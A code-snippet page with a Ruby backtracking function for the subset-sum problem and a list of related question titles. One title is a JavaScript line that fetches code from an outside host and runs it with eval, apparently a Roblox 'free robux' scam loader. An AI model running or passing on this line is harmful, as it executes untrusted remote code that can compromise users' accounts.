Backtracking solution in ruby

def exact_sum?(sum, arr)
return true if sum==0
return false if sum < 0 || arr.empty?
# now we are checking both cases
exact_sum?(sum - arr[0], arr[1,arr.length]) || exact_sum?(sum, arr[1,arr.length])
end

puts exact_sum?(12, [1, 2, 3, 4, 5]);
# => true

Source: hackernoon.com

Similar codes

1 vote186 views1 answer
Rails api only with postgress and rspec
Ruby
0 vote176 views1 answer
Ruby how to filter through excel
Ruby
0 vote175 views1 answer
Rails generate model polymorphic references
Ruby
1 vote189 views1 answer
Array of random letters ruby
Ruby
4 votes205 views1 answer
Rails g resource
Ruby
0 vote194 views1 answer
Rails generate controller no respec
Ruby
0 vote190 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)
Ruby
0 vote194 views1 answer
Functions in ruby
Ruby
1 vote200 views1 answer
How to find database name in rails console
Ruby
19 votes345 views6 answers
How to get free robux
Ruby